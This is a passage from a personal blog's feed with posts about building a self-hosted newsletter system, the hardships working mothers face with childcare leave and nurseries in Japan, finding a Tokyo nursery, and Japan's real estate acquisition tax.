&lt;p&gt;First I decided to use a third-party service to manage the subscriptions and notifications: &lt;a href=&quot;https://follow.it/&quot;&gt;follow.it&lt;/a&gt;. This was very easy for me to setup: just point it to the RSS feed I already had.&lt;/p&gt;

&lt;p&gt;However recently I checked the email they were sending out, and it had ads in it. Moreover instead of linking to my site directly, they were first linking to their own site (with more ads) and then that would link to my actual post. I see why they do this (they need money to run their service), but this wasn’t providing the experience I wanted. So I decided to build my own.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-10-04-new-blog-notifications/old-email.png#lb&quot; alt=&quot;The link from the email led to their site with a lot of ads&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;building-my-own&quot;&gt;Building my own&lt;/h2&gt;

&lt;p&gt;I have an old-style (Apache, PHP, MySQL) webhosting that comes with some of my domains, so I decided to use that. With the help of ChatGPT I could easily put together the php site to manage the subscriptions, and send out the notifications on new posts. Then I used Claude to further refine it and published it on &lt;a href=&quot;https://github.com/markszabo/newsletter.szabo.jp&quot;&gt;https://github.com/markszabo/newsletter.szabo.jp&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;On a high-level it works like this: the site handles subscriptions (confirmation, unsubscribe functionality) using a table in a MySQL database. When the deploy workflow of this site runs, it triggers the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;?action=send-digest&lt;/code&gt; API. This looks at the RSS feed, checks if the last post was within 24 hours (to avoid resending an email if I simply modify an older post) and then sends the email for it to the confirmed subscriptions in the database. This does have the limitation of only a single post per 24 hours, and that I can’t edit a post within the first 24 hours, but I can live with those.&lt;/p&gt;

&lt;p&gt;If you are interested, you can see the code at &lt;a href=&quot;https://github.com/markszabo/newsletter.szabo.jp&quot;&gt;https://github.com/markszabo/newsletter.szabo.jp&lt;/a&gt; or sign-up on &lt;a href=&quot;https://newsletter.szabo.jp/&quot;&gt;https://newsletter.szabo.jp/&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;If you are already a subscriber, I migrated your email to the new system already, so no action is required.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>One Child or One Career: Choice for Working Mothers in Japan</title>
   <link href="https://szabo.jp/2025/09/21/one-child-or-one-career/"/>
   <updated>2025-09-21T00:00:00+00:00</updated>
   <id>https://szabo.jp/2025/09/21/one-child-or-one-career</id>
   <content type="html">&lt;p&gt;We had our first child 1.5 year ago in Japan, and &lt;a href=&quot;/2025/09/20/finding-nursery/&quot;&gt;she started nursery about a year ago&lt;/a&gt;. Now that we are expecting our second kid, it is becoming painfully clear how hard the Japanese system is for working mothers who want to have more than one child. This was especially surprising for me, since the declining birthrate has been a major issue for Japan for decades, and all levels of government is trying to solve it, but still the end result is a system that pushes mothers to choose between career or multiple kids.&lt;/p&gt;

&lt;!--break--&gt;

&lt;h2 id=&quot;types-of-work&quot;&gt;Types of work&lt;/h2&gt;

&lt;p&gt;Since we are talking about working mothers, let’s start by examining the types of work one can be engaged in. (This is based on my experience and doesn’t aim to be an exhaustive list.)&lt;/p&gt;

&lt;h3 id=&quot;full-time-employee-正社員&quot;&gt;Full time employee (正社員)&lt;/h3&gt;

&lt;p&gt;Usually considered the best employment option: being a regular, full-time employee of a company. You do your hours, and get the fixed salary, plus the yearly bonus (which is more-or-less guaranteed). As long as you show up, you can’t really be fired.&lt;/p&gt;

&lt;p&gt;It often feels that this is treated as the only “real work”. For example when looking for mortgage, any other types of work will make it much harder to get financing and might result in a larger down-payment and higher interest rate. Same for applying for nurseries, or government subsidies: this makes everything the easiest.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Maternity leave (産前産後休業)&lt;/strong&gt;: starts 6 weeks before the due date, and last for 8 weeks after giving birth. Payment is 67% of salary, but it’s exempt from income tax and social insurance contributions, so the take-home pay drops to only 80-90%. Paid by the health insurance not the employer. (&lt;a href=&quot;https://www.sonykenpo.or.jp/eng/member/benefit/maternity_a.html&quot;&gt;source1&lt;/a&gt;, &lt;a href=&quot;https://www.nippon.com/en/in-depth/d00590/#:~:text=In%20reality%2C%20though%2C%20the%20benefit%20payments%20equate%20to%2080%25%20of%20normal%20take%2Dhome%20pay%20as%20they%20are%20not%20subject%20to%20income%20tax%20and%20are%20also%20exempt%20from%20company%20social%20insurance%20and%20employment%20insurance%20premiums.&quot;&gt;source2&lt;/a&gt;, &lt;a href=&quot;https://www.my.metro.tokyo.lg.jp/w/112-20221027-00008480#:~:text=%E7%B5%A6%E4%BB%98%E9%87%91%E3%81%AF%E9%9D%9E%E8%AA%B2%E7%A8%8E%EF%BC%81%E3%80%80%E7%B5%A6%E4%BB%98%E3%81%A8%E5%85%8D%E9%99%A4%E3%81%A7%E4%BC%91%E6%A5%AD%E5%89%8D%E3%81%AE%E7%B4%848%E5%89%B2%E3%82%AB%E3%83%90%E3%83%BC&quot;&gt;source3&lt;/a&gt;)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Child care leave (育児休業)&lt;/strong&gt;: up to the first birthday of the child, but can be extended for another year if the child fails to get into nursery (some nurseries will give you a rejection letter if asked, or you can see which place have a long waiting list and simply apply there). Payment is 67% of salary for the first 6 months, then 50% of salary. This is again exempt from income tax and social insurance contributions, so the take-home pay drops to only 80-90% for 6 months, then to 65-70%. (&lt;a href=&quot;https://www.mhlw.go.jp/english/policy/children/work-family/dl/190410-01e.pdf&quot;&gt;source&lt;/a&gt;).&lt;/p&gt;

&lt;h3 id=&quot;part-time-workers-パートバイト&quot;&gt;Part time workers (パート、バイト)&lt;/h3&gt;

&lt;p&gt;These part time workers usually have a fixed term contract or work in a shift-based system where they and the employer decides how much they work. This includes work like cashiers, restaurant staff, but also TA (teacher assistant) work at a university that my wife did during her studies.&lt;/p&gt;

&lt;p&gt;No (long-term) fixed hours, you get paid for the hours you work. The company usually handles your taxes (I believe).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Maternity and child care leave&lt;/strong&gt;: maternity leave can be available, but child care leave requires at least 20h+ per week of work and a contract that runs until the child turns 1.5 years old, so not available for most cases.&lt;/p&gt;

&lt;h3 id=&quot;contractor-sole-proprietor-freelancer-個人事業主-フリーランス&quot;&gt;Contractor, sole proprietor, freelancer (個人事業主, フリーランス)&lt;/h3&gt;

&lt;p&gt;This is what my wife does, so I know more about it. You work as much as you want, invoice your clients, deduct business expenses, and file your taxes in February/March.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Maternity and child care leave&lt;/strong&gt;: none, since you only get paid for work you do.&lt;/p&gt;

&lt;h2 id=&quot;the-work-culture-issue&quot;&gt;The work culture issue&lt;/h2&gt;

&lt;p&gt;So the best is to be a full-time employee, then take the 1-2 year child care leave, right? On face value, yes, that’s essentially the ideal way. However in practice cultural norms make this difficult, especially if one wants to have multiple kids.&lt;/p&gt;

&lt;p&gt;The issue comes from the fact that most companies handle child care leave as any other paid leave: they don’t hire a replacement, simply expect the rest of the employees to pick up the extra work. (The inability to fire people, the historically low fluctuation, and the low growth likely also contribute to this: if they would hire someone new, then what would they do when the mother comes back from the leave?) And this is happening in a country where half of the employees use less than half their regular paid vacations (&lt;a href=&quot;https://www.nippon.com/en/japan-data/h01798/&quot;&gt;source&lt;/a&gt;) partly to not inconvenience their team members (who would need to pick up their work while they are away).&lt;/p&gt;

&lt;p&gt;This system turns people against each other: it is understandable that colleagues are not happy for the additional work (e.g. assuming a 5 people team, if one person goes on leave, everyone else has 2 hours extra work per day), however they shouldn’t be mad at the person who got the kid, they should be mad at the company for forcing them to do extra work.&lt;/p&gt;

&lt;p&gt;This is also where multiple kids get subsequently more difficult: the team might be okay to pick-up the slack for a year, but being out of work for 2 years, then working for a few months just to go on leave again can easily create a work environment where one doesn’t want to return to.&lt;/p&gt;

&lt;p&gt;This system also makes timing difficult: many women feel bad going on maternity leave shortly after joining a company. However if one has worked at a place for a few years, then they likely got good at their job, so leaving then puts more work on their colleagues (who now need to learn all what the person knew).&lt;/p&gt;

&lt;p&gt;Moreover in teams where there are multiple people wanting to have kids, sometimes they will have to coordinate their pregnancies in order to not go on maternity leave at the same time.&lt;/p&gt;

&lt;p&gt;Doing this is often called マタハラ (short for maternity harassment) and is illegal, but likely hard to prove in court (&lt;a href=&quot;https://morioka.adire.jp/column/403/&quot;&gt;source1&lt;/a&gt;, &lt;a href=&quot;https://morioka.adire.jp/column/403/&quot;&gt;source2&lt;/a&gt;, &lt;a href=&quot;https://www.e-coms.co.jp/column/cases_of_maternity_harassment#67c11fc970505425a4745adc-1740725209744&quot;&gt;source3&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;The real solution would be a cultural change where companies would stop expecting the team to do the same amount of work when members are on extended leave (or hire contractors to help out during this period). However until then most mothers face a difficult choice between quitting their job altogether (assuming their partner’s income is sufficient) or only have a single child.&lt;/p&gt;

&lt;p&gt;The same issue applies for father taking paternity leave too. To combat this, from next month SMBC (one of the major bank) will start mandating at least one month paternity leave and give both the father as well as his team mates 50,000 yen bonus (&lt;a href=&quot;https://www.yomiuri.co.jp/economy/20250911-OYT1T50086/&quot;&gt;source&lt;/a&gt;). This second part highlights that the team member’s attitude is definitely a contributing factor for not taking parental leave.&lt;/p&gt;

&lt;h2 id=&quot;nurseries-and-kindergartens&quot;&gt;Nurseries and kindergartens&lt;/h2&gt;

&lt;p&gt;The system continues to make the life of working mothers hard when it comes to nurseries. As discussed in &lt;a href=&quot;/2025/09/20/finding-nursery/&quot;&gt;my post on nurseries&lt;/a&gt;, there is a shortage of nurseries in most major cities, so places are allocated based on need. Licensed nurseries have a point system where the more both parents work the more likely for the kid to get accepted, but even unlicensed nurseries (only the Tokyo licensed types as those receive subsidies from the government) have a mandatory requirement that only kids of working parents can attend (this varies per city, but both Mitaka and Musashino require at least 48 hours of work per month from both parents).&lt;/p&gt;

&lt;p&gt;And this is where not being a full-time employee makes things very difficult: the system is set up in a way that points and requirements depend on the hours worked per month, which is easy for regular employees, but hard to measure and prove for freelancers (e.g. &lt;a href=&quot;https://jikkyo-maternity.com/238/&quot;&gt;here is a form one freelancer had to create to prove their working hours&lt;/a&gt; - it has hourly breakdown of the work she did). But whether a proof like this is accepted, is up to the city hall worker you end up talking to. And if it isn’t accepted, your kid might need to stop attending nursery (yes, this is evaluated not only at application time, but also afterwards, and can result in getting your kid kicked out of nursery - at least in the city we live in).&lt;/p&gt;

&lt;h2 id=&quot;our-case&quot;&gt;Our case&lt;/h2&gt;

&lt;p&gt;I’m working as a full time employee, so my situation is easy. However my wife works as a freelancer and was attending university when we had our first child. This actually helped when we were looking for nursery, since being a university student counts as full-time work. However we recently learned that after graduation she should have notified the city hall about her work, or if not working, then our kid should have stopped attending nursery.&lt;/p&gt;

&lt;p&gt;At this time she was looking for work, and to our luck she registered at Hello Work (the employment service center), so the city hall considered her job-seeker for 3 months, which made us eligible for nursery.&lt;/p&gt;

&lt;p&gt;By that time she found work on her own, however since we were planning our second kid soon, she decided to join as a fixed-term contractor instead of full-time employee (she didn’t want to burn bridges by going on maternity leave within the first year of working at a new place).&lt;/p&gt;

&lt;p&gt;She had to make sure this contract run until 2 months before the second kid’s due date, since 2 months before and 3 months after the birth she is considered busy enough to justify the first kid going to nursery. Also during this work she had to prove that she worked at least 48 hours per month to qualify for nursery.&lt;/p&gt;

&lt;p&gt;However the way things look right now, there is a chance our first kid will have to stop going to nursery when the second kid turns 3 months old. Musashino city hall told us that for freelancers there is a declaration form which says that they are taking a one year childcare leave but will resume their freelance work afterwards. (Similar to how regular employees can take one year off from work.) If the city accepts this, then our first kid can stay in nursery until the second kid turns one.&lt;/p&gt;

&lt;h2 id=&quot;nursery-is-free-in-tokyo-but-is-it&quot;&gt;Nursery is free in Tokyo, but is it?&lt;/h2&gt;

&lt;p&gt;Since &lt;a href=&quot;https://mainichi.jp/english/articles/20241211/p2a/00m/0na/010000c&quot;&gt;September 2025 nurseries are free in Tokyo&lt;/a&gt;. The way this got implemented is that certified nurseries are simply free (no tuition to pay), and kids attending non-certified nurseries receive a subsidy equivalent to the price of the certified nursery (which for us would cover 80-90% of the fee). Except, in our city this subsidy has a requirement of both parents working 120 hours per month or more (&lt;a href=&quot;https://www.city.musashino.lg.jp/_res/projects/default_project/_page_/001/048/008/R7tan.pdf&quot;&gt;page 57 here&lt;/a&gt; - this is from last year but &lt;a href=&quot;https://www.city.musashino.lg.jp/shussan_kodomo_kyoiku/kodomo_kosodate/hoikuen_yochien_kodomoen/ninkagai_hoikushisetsu/1024618.html&quot;&gt;this years rules are the same&lt;/a&gt;), which is about 6 hours per weekday, almost full-time.&lt;/p&gt;

&lt;p&gt;So for now we will keep paying out-of-pocket and hope that our kid can continue to attend nursery after March. Then in a year, we will look for nursery for the second kid and my wife will look for work of 120 hours or more. There will be a bit of catch 22 here as well: we get points for the certified nursery application if she works, but she can’t start working until we find nursery.&lt;/p&gt;

&lt;p&gt;And then we also want a third kid sometimes soon.&lt;/p&gt;

&lt;h2 id=&quot;summary&quot;&gt;Summary&lt;/h2&gt;

&lt;p&gt;Overall it feels that the way the system is setup makes it difficult for mothers to work and have more than one child. The possible options that I can see are like this:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;work for a good company where taking extended maternity leave even in short succession is accepted - we have a friend who had a baby 1.5 years ago, couldn’t find nursery so extended the leave for 2 years, and will have the second baby before that 2 years is up. She is on leave for 3-4 years minimum, but her company and colleagues are fine with it, so it works.&lt;/li&gt;
  &lt;li&gt;quit work and stay at home for at least a few years to look after the kids. Accept that this will make getting into nurseries harder.&lt;/li&gt;
  &lt;li&gt;have grandparents nearby that can provide childcare - this helps with not being able to get into nursery&lt;/li&gt;
  &lt;li&gt;balance freelance/contractor work with childcare and hope that the city hall staff will be supportive&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;At the end of the day it seems that the issue comes down to not having enough nursery spot available. This is what pushes the cities to prioritize the people in the most need of nurseries leading to the additional paperwork for non-regular workers.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Finding nursery in Japan</title>
   <link href="https://szabo.jp/2025/09/20/finding-nursery/"/>
   <updated>2025-09-20T00:00:00+00:00</updated>
   <id>https://szabo.jp/2025/09/20/finding-nursery</id>
   <content type="html">&lt;p&gt;We went through finding a nursery for our then 8 months old daughter last year, but I haven’t wrote about it yet, so here it goes.&lt;/p&gt;

&lt;!--break--&gt;

&lt;h2 id=&quot;our-situation&quot;&gt;Our situation&lt;/h2&gt;

&lt;p&gt;My daughter was half years old when we started looking for nursery for her. We were living in Mitaka City (Tokyo) at that time, but &lt;a href=&quot;/2025/04/13/buying-a-land/&quot;&gt;already bought land&lt;/a&gt; in the neighboring Musashino City, so we initially looked at nursery at both places, but later decided to focus on Musashino to avoid having to change nurseries after the move.&lt;/p&gt;

&lt;p&gt;I work as a full-time employee (正社員), while my wife used to work as a freelancer then started her postgraduate studies before our daughter was born, and took a year off from the university when the kid was born. She had one semester left, so that’s why we wanted our kid to start nursery.&lt;/p&gt;

&lt;h2 id=&quot;first-step-city-hall&quot;&gt;First step: city hall&lt;/h2&gt;

&lt;p&gt;We talked to both Mitaka and Musashino city halls, and they provided us with a list of nurseries in both cities, as well as a general explanation.&lt;/p&gt;

&lt;h2 id=&quot;types-of-nurseries&quot;&gt;Types of nurseries&lt;/h2&gt;

&lt;p&gt;As far as I understood there were the following nursery types available. There were some others for smaller places that only accept kids under 3, but we didn’t really consider those.&lt;/p&gt;

&lt;h3 id=&quot;認可保育園-ninka---licensed-daycare-center&quot;&gt;認可保育園 (ninka) - Licensed Daycare Center&lt;/h3&gt;

&lt;p&gt;Approved by the local government under strict national standards (building size, number of staff, safety, hygiene, etc.). Sometimes run by the city (公立保育園) sometimes private (私立認可保育園), but mostly indistinguishable.&lt;/p&gt;

&lt;p&gt;Applications are handled by the city hall using a point system, and is based on the need of the family: special circumstances (single parent, disability, medical conditions) get priority. Otherwise points come from how much the parents work (with full-time being the most points). You can specify the list of nurseries to apply to. Each month they check, and if a nursery has a place available, the person that applied there with the maximum point gets accepted.&lt;/p&gt;

&lt;p&gt;Fees are determined by the city based on the income of the family with various subsidies (e.g. free from 3 years old nationwide), and in Tokyo &lt;a href=&quot;https://mainichi.jp/english/articles/20241211/p2a/00m/0na/010000c&quot;&gt;it’s completely free from September 2025&lt;/a&gt;. Earlier it used to be between free to 72,800 yen for high earners (above 10 million yen yearly income or so), with the &lt;a href=&quot;https://www.hokatsunomikata.com/fee_infos/654&quot;&gt;average payment around 28,250 yen&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;There are not enough places in Tokyo, and it is common to have many times more applications than spots available. Likely due to this, it is treated a bit as a privilege rather than a service/business: it is common for nurseries to ask you to bring diapers for your kid, and also take home the used ones, and you just have to follow the rules like this. Also there are stories of parents that went shopping, then picked up their kids. And the nursery asked them that if they had time to go shopping, then they should pick up the kid earlier instead.&lt;/p&gt;

&lt;p&gt;We checked but both &lt;a href=&quot;https://withbaby.jp/live/mitakakosodate/nurseryschool&quot;&gt;Mitaka&lt;/a&gt; and &lt;a href=&quot;https://www.city.musashino.lg.jp/shussan_kodomo_kyoiku/kodomo_kosodate/hoikuen_yochien_kodomoen/ninkahoikusho_chiikihoikujigyo/ichiran/index.html&quot;&gt;Musashino&lt;/a&gt; had long wait lists, and also we would have lost a lot of points in Musashino, since officially we still lived in Mitaka and they give priority to their local residents. So in the end we decided to only apply after we move.&lt;/p&gt;

&lt;h3 id=&quot;認可外保育-ninkagai---unlicensed-daycare-facilities&quot;&gt;認可外保育 (ninkagai) - Unlicensed Daycare Facilities&lt;/h3&gt;

&lt;p&gt;Not formally licensed by the prefectural government, but still operating legally. They must notify local authorities and meet basic safety/hygiene rules, but standards are looser. In Tokyo, some get certified by the Tokyo government as 東京都認証保育所, which has higher standards than the default, but still not as high as the fully licensed.&lt;/p&gt;

&lt;p&gt;Mostly privately run, and they operate as for-profit businesses.&lt;/p&gt;

&lt;p&gt;Applications are handled by the place directly, and usually first-comes-first-served. Fees are also set by the place and usually don’t depend on the family income, though the Tokyo certification might set limits on the fee (I’m not fully sure).&lt;/p&gt;

&lt;h4 id=&quot;international-nurseries&quot;&gt;International nurseries&lt;/h4&gt;

&lt;p&gt;Most of these don’t accept zero year old kids, but we checked the nearby &lt;a href=&quot;https://mist.school/&quot;&gt;MIST (Musashino International School Tokyo)&lt;/a&gt; and their kindergarden (from 3 years old) class &lt;a href=&quot;https://mist.school/admissions/tuition-and-fees&quot;&gt;costs about 2 million yen in the first year&lt;/a&gt; (slightly less later), which we found to be too expensive anyway.&lt;/p&gt;

&lt;h4 id=&quot;企業内保育所---company-nurseries&quot;&gt;企業内保育所 - Company nurseries&lt;/h4&gt;

&lt;p&gt;These are usually created by a company to help their own employees, e.g. I’ve heard about one that was in a hospital for the kids of the staff working there. Some will have contract with multiple companies, and we talked to one that would allow additional companies to join, but it seemed they would need my employer to pay them, which wasn’t really an option (I work for a company that’s too big for these type of deals).&lt;/p&gt;

&lt;p&gt;If you employer has one, you likely already know, and otherwise these are likely not an option.&lt;/p&gt;

&lt;h4 id=&quot;認証保育所---tokyo-licensed-nursery&quot;&gt;認証保育所 - Tokyo licensed nursery&lt;/h4&gt;

&lt;p&gt;As I mentioned above, these are &lt;a href=&quot;https://www.fukushi.metro.tokyo.lg.jp/kodomo/hoiku/ninsyo&quot;&gt;licensed by Tokyo&lt;/a&gt;. Part of the requirement is a cap on the maximum monthly fee (&lt;a href=&quot;https://www.fukushi.metro.tokyo.lg.jp/kodomo/hoiku/ninsyo?utm_source=chatgpt.com#:~:text=%E6%9D%B1%E4%BA%AC%E9%83%BD%E8%AA%8D%E8%A8%BC%E4%BF%9D%E8%82%B2%E6%89%80%E4%BA%8B%E6%A5%AD%E5%AE%9F%E6%96%BD%E8%A6%81%E7%B6%B14%E3%81%AB%E5%AE%9A%E3%82%81%E3%82%8B%E3%81%A8%E3%81%93%E3%82%8D%E3%81%AB%E3%82%88%E3%82%8A%E3%80%81%E5%8E%9F%E5%89%87%E3%81%A8%E3%81%97%E3%81%A6%E3%80%81%E6%9C%88220%E6%99%82%E9%96%93%E4%BB%A5%E4%B8%8B%E3%81%AE%E5%88%A9%E7%94%A8%E3%82%92%E3%81%97%E3%81%9F%E5%A0%B4%E5%90%88%E3%81%AE%E6%9C%88%E9%A1%8D%E3%81%AF%E3%80%813%E6%AD%B3%E6%9C%AA%E6%BA%80%E5%85%90%E3%81%AE%E5%A0%B4%E5%90%8880%EF%BC%8C000%E5%86%86%E3%80%813%E6%AD%B3%E4%BB%A5%E4%B8%8A%E5%85%9077%EF%BC%8C000%E5%86%86%E3%82%92%E8%B6%85%E3%81%88%E3%81%AA%E3%81%84%E6%96%99%E9%87%91%E8%A8%AD%E5%AE%9A%E3%81%A8%E3%81%99%E3%82%8B%E3%81%93%E3%81%A8%E3%81%A8%E3%81%97%E3%81%A6%E3%81%84%E3%81%BE%E3%81%99%E3%80%82&quot;&gt;80,000 yen/month under 3, 77,000 yen otherwise&lt;/a&gt;), and in exchange for this they receive subsidies both when being established as well as ongoing support (&lt;a href=&quot;https://www.hoikunomiryoku.metro.tokyo.lg.jp/hoiku-service.html&quot;&gt;source1&lt;/a&gt;, &lt;a href=&quot;https://www.city.mitaka.lg.jp/c_service/001/001067.html&quot;&gt;source2&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;Applications are handled by the nurseries directly, however (as we learned recently) because of the subsidy, the city hall might still require parents to fulfill some requirements. For example both Mitaka and Musashino require the need for a nursery (so parents have to work at least part time), but it seems Mitaka is much more relaxed about this than Musashino.&lt;/p&gt;

&lt;p&gt;Musashino has &lt;a href=&quot;https://musashino.city-hc.jp/nursery/availabilities/%E8%AA%8D%E8%A8%BC%E4%BF%9D%E8%82%B2%E6%89%80&quot;&gt;a website that lists all nurseries with the available spots&lt;/a&gt;, and this is where we found ours. Interestingly while the nursery is in Musashino, since we live in Mitaka, the Mitaka city hall pays the nursery, so we had to fulfill the requirements set by Mitaka.&lt;/p&gt;

&lt;h2 id=&quot;application-and-fees&quot;&gt;Application and fees&lt;/h2&gt;

&lt;p&gt;We applied and got accepted to one of the Tokyo-certified nurseries of Musashino, that is part of the &lt;a href=&quot;https://www.poppins.co.jp/educare/service/nursery-school/&quot;&gt;Poppins Nurseries&lt;/a&gt; chain. After filling out the application form, there was an interview (of the parents, not the baby) but it was mostly an explanation session to ensure we knew how everything worked.&lt;/p&gt;

&lt;p&gt;We started out in the 6 hours/day (9am-3pm), 5 days/week plan for 60,000 yen per month, then later switched to the 8 hours/day (9am-5pm) for 72,000 yen per month.&lt;/p&gt;

&lt;p&gt;Since they run as a private business they offer additional services: normally you need to bring diapers and towels, but for an additional 3,900 yen per month for diapers and 1,800 yen for towels they will provide them. We signed up for both.&lt;/p&gt;

&lt;h2 id=&quot;getting-used-to-the-nursery&quot;&gt;Getting used to the nursery&lt;/h2&gt;

&lt;p&gt;Our daughter was about 8 months old when she started going to nursery. They have a system where kids start with a short amount of time (maybe initially 30 minutes, then 1-2 hours) for a few days, then gradually increase the time. Under 1 year most kids still mainly drink milk or formula, so it is vital that they accept it in the nursery.&lt;/p&gt;

&lt;p&gt;Our kid stopped crying after a few days, but refused to drink there. This meant that they could only keep her for 2 hours (since kids at her age have to drink every 3 hours), so we brought her at 9am then picked her up at 11am for almost a month. We tried to give her morning formula earlier, hoping to make her hungry, but she likely realized that we will pick her up soon, so she kept refusing the bottle in the nursery. We even bought the same bottle that the nursery was using, but she was fine with it at home.&lt;/p&gt;

&lt;p&gt;The nursery tried their best to help, and even let my wife go in once and feed her from the bottle she just rejected, and she drunk it all. But still, next day she refused it from the nursery teacher.&lt;/p&gt;

&lt;p&gt;After over a month of picking her up at 11am, she decided that actually the nursery was a good place, and she drunk the whole bottle, and kept drinking every day from that point on. She is just a stubborn little girl.&lt;/p&gt;

&lt;p&gt;Since then she loves the nursery, always happy to arrive, and also happy to see us when we go to pick her up.&lt;/p&gt;

&lt;p&gt;Since the nursery is closer to the new house, it takes either 30 minutes by bus and train, 45 minutes by walk or a 15 minute bike ride, so we bought an electric assisted bike and have been using that to bring her to the nursery:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-09-20-finding-nursery/gyutto.jpg&quot; alt=&quot;Panasonic Gyutto - the bike we bought&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I can highly recommend this. We ended up getting the more expensive version that comes with a radio key, so if you turn on the bike while the key is in your pocket, it will unlock itself (similar to how cars work). This is super helpful especially when taking care of a toddler.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Real estate acquisition tax in Japan (不動産取得税)</title>
   <link href="https://szabo.jp/2025/09/06/real-estate-acquisition-tax-1/"/>
   <updated>2025-09-06T00:00:00+00:00</updated>
   <id>https://szabo.jp/2025/09/06/real-estate-acquisition-tax-1</id>
   <content type="html">&lt;p&gt;We &lt;a href=&quot;/2025/04/13/buying-a-land/&quot;&gt;bought a land in Tokyo in May last year&lt;/a&gt; and are currently building a house. A few weeks ago (about 1 year 3 months since buying the land) I received a letter from the Tokyo tax office titled 不動産取得税の申告, Real estate acquisition tax return. But I’m already paying property tax (固定資産税) to my local city every year, so what’s this then?&lt;/p&gt;

&lt;!--break--&gt;

&lt;h2 id=&quot;real-estate-acquisition-tax-return&quot;&gt;Real estate acquisition tax return&lt;/h2&gt;

&lt;p&gt;The letter I got was asking me to file a real estate acquisition tax return (不動産取得税の申告) within about 3 weeks (deadline: September 16). It also included the estimated tax amount to pay: 285,300 yen&lt;/p&gt;

&lt;p&gt;The calculation showed the following:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;assessed value of the land: 19,021,657 yen&lt;/li&gt;
  &lt;li&gt;tax basis: 9,510,000 yen (if the land is used for residential house, then this is half the value of the land)&lt;/li&gt;
  &lt;li&gt;tax to pay: 285,300 yen (3% of the tax basis)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;But the letter also told me to not pay yet, as there are multiple reductions and exemptions. So they were only asking me to file the details (e.g. whether I’m building a house, whether that will be residential or commercial, and if I’m eligible for any other deductions), and then they will send me the final bill to pay at a later time.&lt;/p&gt;

&lt;h2 id=&quot;real-estate-acquisition-tax&quot;&gt;Real estate acquisition tax&lt;/h2&gt;

&lt;p&gt;Tokyo’s tax office has &lt;a href=&quot;https://www.tax.metro.tokyo.lg.jp/kazei/real_estate/fudosan&quot;&gt;a great website on the topic&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The real estate acquisition tax (不動産取得税) is a one-time tax levied at the time when someone acquires a real estate (e.g. buys a land or house, but also if receives it as a gift even from family). It is paid to the prefecture (so Tokyo, in my case), unlike the yearly property tax (固定資産税) which is paid to the city (Musashino City in my case).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Amount&lt;/strong&gt;: 3% of the the assessed value of the property (固定資産税評価額, not the actual purchase price) for residential land and houses (4% for commercial)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Reductions / exemptions&lt;/strong&gt;: there are numerous reductions and exemptions, and most people end up paying nothing or only a small amount&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Reporting requirement&lt;/strong&gt;: if the ownership change is registered within 30 days (ownership transfer registration, 所有権移転登記) then the Legal Affairs Bureau (法務局) will automatically notify the tax office, and no reporting is required. This covers most people buying a place. Otherwise the buyer must notify the tax office within 30 days&lt;/p&gt;

&lt;h2 id=&quot;tokyo-zero-emission---full-exemption&quot;&gt;Tokyo Zero Emission -&amp;gt; full exemption&lt;/h2&gt;

&lt;p&gt;To improve the energy efficiency of houses, Tokyo is running their zero emission certification program (東京ゼロエミ住宅) that provides subsidies and various discounts. It has 3 levels (水準A, 水準B, 水準C) with A being the best. Our house got 水準A (Ichijo just handled this, so it is likely that all of their houses get this).&lt;/p&gt;

&lt;p&gt;Based on the &lt;a href=&quot;https://www.tax.metro.tokyo.lg.jp/genmen/htt_kt/zero_emi&quot;&gt;Tokyo tax office website&lt;/a&gt; the 3 levels receive the following reductions from the real estate acquisition tax:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;水準A: 100% reduction (full exemption)&lt;/li&gt;
  &lt;li&gt;水準B: 80% reduction&lt;/li&gt;
  &lt;li&gt;水準C: 50% reduction&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Since our house  is 水準A, we will get full exemption (due to this I didn’t look into other exemptions or reductions, but there are quite a few).&lt;/p&gt;

&lt;p&gt;The &lt;a href=&quot;https://www.tax.metro.tokyo.lg.jp/documents/d/tax/zero_emi_chirashi0610&quot;&gt;explanation pdf&lt;/a&gt; list the following documents as required attachments:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Tokyo Zero-Emission Housing Certification (東京ゼロエミ住宅認証書)&lt;/li&gt;
  &lt;li&gt;Tokyo Zero-Emission Housing Design Confirmation (東京ゼロエミ住宅設計確認書)&lt;/li&gt;
  &lt;li&gt;(For apartment buildings with different standards) Tokyo Zero-Emission Housing Construction Completion Inspection Application Form (（異なる水準の住戸を有する共同住宅の場合）東京ゼロエミ住宅工事完了検査申請書)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We already received the Tokyo Zero-Emission Housing Design Confirmation (東京ゼロエミ住宅設計確認書) as that was based on the house design, but the Tokyo Zero-Emission Housing Certification (東京ゼロエミ住宅認証書) will only be issued after the house is ready.&lt;/p&gt;

&lt;h2 id=&quot;submitting-the-tax-return&quot;&gt;Submitting the tax return&lt;/h2&gt;

&lt;p&gt;So we called the tax office and they told us to return the tax return with the current information (we are building a house, expected to be ready by November, expected to have zero-emi 水準A), then in November once we have the Tokyo Zero-Emission Housing Certification (東京ゼロエミ住宅認証書), then apply for the full exemption. They also told us that essentially as long as the header of the filing is correct (my name, land address), the rest is fine to have some mistakes, since they will finalize it once the house is built.&lt;/p&gt;

